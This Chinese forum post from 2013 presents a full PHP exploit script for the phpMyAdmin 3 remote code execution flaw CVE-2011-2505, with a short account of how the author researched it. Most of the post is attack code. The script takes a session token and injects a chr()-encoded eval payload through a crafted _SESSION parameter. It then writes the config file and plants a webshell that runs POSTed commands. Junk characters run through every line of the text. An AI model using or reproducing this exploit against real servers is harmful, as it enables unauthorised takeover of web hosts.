找回密码
 立即注册
查看: 2388|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。0 T' ^( V$ N! X2 j
* k5 h3 r, D, L9 h
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。& Y, y, {: }" Y( |2 J

7 Z" v, g, I0 q- G首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
8 y3 \# t' s) Z/ C7 c一是session.auto_start = 1;, C3 d3 T* Z+ n. Y
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
+ x. Q, }3 m& R1 i. P. E当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。& A/ \2 Z3 d/ ?5 ~- w) Q
: \3 l8 R  a# S7 a, c6 E! i& O
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。  [' Y( _. I! P

, U) a; A, ^5 @% r于是写了这个php版本的exp,代码如下:
, c: W# H( z3 T7 K* g; u, n, p2 {
. P6 r: b* w8 Z6 b5 }- Y#!/usr/bin/php, z, t0 J9 p. M; p
<?php
% W5 h) t. e* v! X$ Cprint_r('
* ]* ~, j! G! c% @3 X+---------------------------------------------------------------------------+" \: o  D' G  W/ v3 M
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]& E0 u+ b$ _" r) h( D3 s
by oldjun(www.oldjun.com), Z+ w, i! V8 R$ N3 T3 n+ K
welcome to www.t00ls.net
' G3 z2 \& B' p% v# tmail: oldjun@gmail.com( f) ^) ~. v% k0 I4 u1 u3 M! M
Assigned CVE id: CVE-2011-2505
( f* y: `; L5 W- K! n8 z+---------------------------------------------------------------------------+
% x+ P+ I" k; O, P' j* x+ m! a');
6 z2 ?, |0 x/ t1 V2 J" c
6 q, ^; q/ [$ Y" Q( E+ f/**
. \, A  }4 I- o4 i8 l/ P7 Q * working when the directory:"config" exists and is writeable.; @6 T" B5 Q" R5 N8 b: D2 Z* A; F: _
**/8 E* D/ S  W, H& w& L

: o- t; o, m7 v: t+ Dif ($argc < 3) {$ z1 ~9 p6 h$ j
    print_r('
3 R4 w' B9 F, U2 q# l  F6 o+---------------------------------------------------------------------------+" V$ S: n4 p. U) X+ ^3 H
Usage: php '.$argv[0].' host path
& c5 A  L3 r6 w* r+ M) khost:      target server (ip/hostname)# f& ]% t9 h' P8 G: j  ~5 r
path:      path to pma3
/ j/ C7 y% N. M/ V" |1 ]Example:
4 l2 u% Q) D9 v6 v( G4 K) @# }php '.$argv[0].' localhost /pma/7 ^: u8 \$ u6 t
+---------------------------------------------------------------------------+. A3 V1 m# ~# O. l& Y+ p3 z# R
');
8 ?* i/ T6 k0 @4 M3 K0 g1 Q8 G    exit;
/ {2 \$ o' G$ }9 _1 P7 @+ L8 K}$ r  _+ j& U& U: N% c; }9 ]: _
" ?* p, z0 @- d* T6 y5 h5 R
$host = $argv[1];
/ a% M1 l( M. ^6 Y: l1 P6 }5 B$path = $argv[2];1 H: M2 O+ c) ^* G
5 Q  ?6 Z: x8 N
/**0 |2 B+ z. R: V* j& ^$ E; W& I
* Try to determine if the directory:"config" exists
% }1 W0 |  `, ]/ W& R# x**/
& d: }, B" R. n9 ?echo "[+] Try to determine if the directory:config exists....\n";
& `$ U8 c9 @# V* }$returnstr=php_request('config/');( M# {- j- c3 B: ~* }. ~5 q
if(strpos($returnstr,'404')){/ `# F% s& n" E# N" F% [" ^& t
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
) }! w& H, m6 Y( r' w- v}
0 w. U) @6 K7 T/ u- m; n$ U$ @9 q$ x) c) y8 N& G# ^0 `
/**( k1 r* f# n) y) [
* Try to get token and sessionid3 h, N3 ]7 V" I# Y' G' V  H
**/
# f  b) r1 C5 l  U. l% fecho "[+] Try to get token and sessionid....\n";5 `2 y# d9 L6 W
$result=php_request('index.php');5 k& C6 H  Q7 U
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);% C) v  ?( a$ C& ~5 H1 N# G0 [) a* B
$token=$resp[3];
1 H) p% G& i$ c  B' \' a$sessionid=$resp[1];
* ?$ w& q; d# K' e7 j, Cif($token && $sessionid){; y3 D, @* W1 J& m
    echo "[+] tokentoken\n";
4 p; a8 B7 O" r7 Y4 f    echo "[+] Session IDsessionid\n";; R  Z! u6 M6 s6 D
}else{4 ^: w, \; S# b4 T4 |
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");4 i3 j* O- e4 g* H, a0 r
}: I' k. N* h( T6 V7 T

% ^+ R3 ?$ I6 o. {6 w4 O/**
7 T9 M: F+ Q' d7 l, X! \. @" W% x9 A * Try to insert shell into session
* s* O' x% V. z, f" p0 f/ \6 r**/
0 ?" Z* b, q; {/ d( x. {echo "[+] Try to insert shell into session....\n";+ u" P* P/ ]% j8 e! Q& T/ @
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
4 N) [) E' T: V/ L; V! h
5 U4 X$ N! a( }$ J0 k' e7 U/**" d' _/ E# m' Y  v9 ]
* Try to create webshell7 l( d# v. A! I- d4 g, v  p2 q
**/
& x* H% ]" ^9 a% {! ]9 H) {echo "[+] Try to create webshell....\n";
- Z2 m0 @- B$ V2 O, Uphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);1 P/ S* b+ z; w
/**
$ I; A3 P; ~3 _7 V8 p  t * Try to check if the webshell was created successfully
% Q, t' O- c) M5 E, t**/# N. I: \4 V& p
echo "[+] Try to check if the webshell was created successfully....\n";
9 g3 B4 N- `3 p# h2 B' r0 @$content=php_request('config/config.inc.php');& _" s& e  K5 y; W
if(strpos($content,'t00ls')){
! n9 ~) m' \1 y) l; e$ G" [+ J. V5 _( |    echo "[+] Congratulations! Expoilt successfully....\n";/ T# L' |1 L& o
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";! j# p# e& O: V  a
}else{
/ d* ?& @( ]/ {5 C" N- Y    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
6 v; i6 V& k0 ~}) b- K! J8 s. N+ f7 O

3 u% t: w( X. v6 A: b! A4 h4 v, Ifunction php_request($url,$data='',$cookie=''){
3 L' W& U( t) S$ k+ V: v    global  $host, $path;
+ V( }# A0 W/ J! n    + `9 d' c. {0 E6 u' p
    $method=$data?'POST':'GET';  F, l: ?) Q' z7 c
    # C" J  d8 s* }1 }2 R! E7 i
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";6 i9 l# g+ a, e' x& `% l; `9 J
    $packet .= "Accept: */*\r\n";
1 W# X  t- x# l- H. m+ V    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";0 }! |; _8 t% k% ~. j  a0 V
    $packet .= "Host: $host\r\n";
8 f. p9 O7 M2 i( H$ P3 N    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";+ t* F% t. ?# N7 A' |# N
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";6 y+ u7 _0 B+ H9 T0 A
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
$ X7 v* ^6 J1 {1 \2 [" r    $packet .= "Connection: Close\r\n\r\n";
# f! N2 ~) K1 c; ^    $packet .= $data?$data:"";
, k* e1 F+ h! |# [5 L7 u! H% ~( u1 A- ^" f. G
    $fp = fsockopen(gethostbyname($host), 80);& C: ]) w; E% c+ b
    if (!$fp) {
) L5 Q6 Z, v8 ]4 m; u$ K& ~- j    echo 'No response from '.$host; die;7 _9 W9 S( L$ T2 n2 A1 D
    }
6 c; f: P- ~% i, ]- J7 N    fputs($fp, $packet);
# _  \$ p2 \" F! a
( C3 g  |9 \* R2 p    $resp = '';& S* X; A5 x  k  U  n, S! b( c
1 n0 s9 v: k$ M2 C3 y
    while ($fp && !feof($fp))$ f  \, i/ R; }# G3 d. i
        $resp .= fread($fp, 1024);
. U4 n3 |. b9 b+ r: K, |! L# ?* d- A$ d
    return $resp;9 ~  |' c* @, n) f5 I  T
}7 x8 C) T/ [4 g
    ! A( K, }3 @7 l1 f
?> : @3 j+ G4 S9 m2 T' A: v. q
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表